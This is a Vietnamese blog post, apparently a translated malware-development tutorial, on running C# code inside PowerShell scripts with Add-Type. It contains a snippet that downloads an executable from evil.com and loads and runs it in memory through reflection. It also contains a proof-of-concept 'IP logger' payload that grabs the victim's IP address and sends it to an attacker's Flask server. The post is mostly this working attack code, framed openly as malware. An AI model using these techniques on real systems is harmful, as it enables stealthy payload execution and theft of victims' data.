BomKhung.Com Đã Quay Trở Lại
Hoạt Động Dưới Tên Miền Hung.Pro.VN
00 Days
00 Hours
00 Minutes
00 Seconds
Hiện website đang cập nhật nội dung bài viết, nếu có lỗi gì mọi người có thể thông báo cho mình Tại đây!

[CSHARP] Powershell In-File Execution of C# Code

Giới thiệu

Cách đây một thời gian tôi đã xem video của John Hammond về chủ đề này 17và nghĩ rằng đây sẽ là một phương pháp thú vị để thu nhỏ và giới thiệu.

Thực thi mã C# trong tệp Powershell 

Tuyên bố miễn trừ trách nhiệm: Tôi là người mới bắt đầu phát triển phần mềm độc hại, C# và Powershell, tôi sẽ đánh giá cao những lời chỉ trích.

Giải trình

Đầu tiên, chúng ta cần hiểu cách tải C# phổ biến nhất, thông qua một tệp thực thi:
Tìm nạp nội dung thực thi và gói gọn trong một mảng byte.

Tải nội dung thực thi bằng phương thức [System.Reflection.Assembly]::load().
Sử dụng Reflection để thực thi lắp ráp đã tải của chúng tôi.

Mã bên dưới tuân theo các bước sau:

$bytes = (Invoke-WebRequest "https://evil.com/evilexe.exe").Content
$loadedAssembly = [System.Reflection.Assembly]::Load($bytes)

# Create entrypoint object and call it.

$entry = 
$loadedAssembly.GetType("NAMSPACE.CLASS_NAME").
   GetMethod('STATIC_METHOD_NAME', [Reflection.BindingFlags] 'Static, Public, NonPublic')

$entry.Invoke($null)

Chuỗi C#

Thay vì biên dịch và tải xuống một tệp thực thi, tại sao chúng ta không cung cấp một chuỗi nhiều dòng với mã C# mà chúng ta mong muốn và “load” nó như sau:
Add-Type @"
using System;
 
public class Payload {
 
    static void Execute() {
        while (true) {
            Console.WriteLine("wow :O");
        }
    }
}
 
"@
 
$pl = New-Object Payload
 
$pl.Execute()

Bây giờ tôi biết nếu bạn muốn cấu trúc mã của mình giống như một lập trình viên giỏi, với nhiều tệp và DLL, điều này có vẻ hơi tệ. Điểm cộng lớn của phương pháp này là bạn không cần tải xuống hoặc lưu trữ các mảng byte thực thi trong tập lệnh của mình.

Bằng chứng về khái niệm: Bộ lọc/ghi nhật ký IP

Là một bằng chứng đơn giản về khái niệm, chúng tôi sẽ xây dựng một trình ghi nhật ký IP cơ bản, tập lệnh lấy IP của nạn nhân từ https://ipinfo.io/ip 1và lọc nó vào URL độc ác của chúng tôi.:smiling_imp:

Máy chủ

Máy chủ tôi viết được viết bằng micro-framework Python có tên là Flask, bạn có thể tìm thấy mã bên dưới:
from flask import Flask, request

app = Flask(__name__)
database = [] # Psuedo database 


@app.route("/")
def index():
    ip = request.args.get("ip")
    print(f"[!] Grabbed IP: {ip}")
    database.append(ip)

    return "status: 200"

# Driver code
if __name__ == "__main__":
    app.run(port = 8080)

Tải trọng

Thành thật mà nói, tải trọng có thể được viết tốt hơn, các yêu cầu có thể được xử lý thông qua một chức năng duy nhất thay vì mở nhiều phiên bản HttpClient, nhưng tôi phải nhắc nhở bản thân rằng đây chỉ là một PoC. Mã dưới đây:
Add-Type @"
using System;
using System.Net.Http; 

public class Payload {
        public static string HandleGrab() {
                using (var client = new HttpClient()) {
                        var ipEp = new Uri("https://ipinfo.io/ip");
                        var res = client.GetAsync(ipEp).Result;

                        return res.Content.ReadAsStringAsync().Result;
                }
        }
 
        public static void Execute() {
                using (var client = new HttpClient()) {
                        var ipAddr = Payload.HandleGrab();

                        // Exfiltration process
                        var endpoint = new Uri($"http://localhost:8080/?ip={ipAddr}");
                        var res = client.GetAsync(endpoint).Result;
                        var resJson = res.Content.ReadAsStringAsync().Result;

                        Console.WriteLine(resJson);
                }
        }
}
"@

$pl = New-Object Payload

$pl.Execute()

Chúc mọi người thành công.

Đăng nhận xét

Đồng ý sữ dụng cookie
Chúng tôi sử dụng cookie trên trang web này để phân tích lưu lượng truy cập, ghi nhớ tùy chọn của bạn và tối ưu hóa trải nghiệm của bạn.
Xem thêm
Oops!
Có vẻ như kết nối internet của bạn có vấn đề. Vui lòng kết nối lại và duyệt web.
AdBlock Detected!
Chúng tôi phát hiện bạn đang sử dụng plugin chặn quảng cáo trong trình duyệt của mình.
Doanh thu chúng tôi kiếm được từ quảng cáo được sử dụng để quản lý trang web này, chúng tôi yêu cầu bạn đưa trang web của chúng tôi vào danh sách trắng trong plugin chặn quảng cáo của bạn.
Site is Blocked
Sorry! This site is not available in your country.
Kỹ thuật số thế hệ tiếp theo Chào mừng bạn đến với trò chuyện WhatsApp
Xin chào! Chúng tôi có thể giúp gì cho bạn hôm nay?
Nhập vào đây...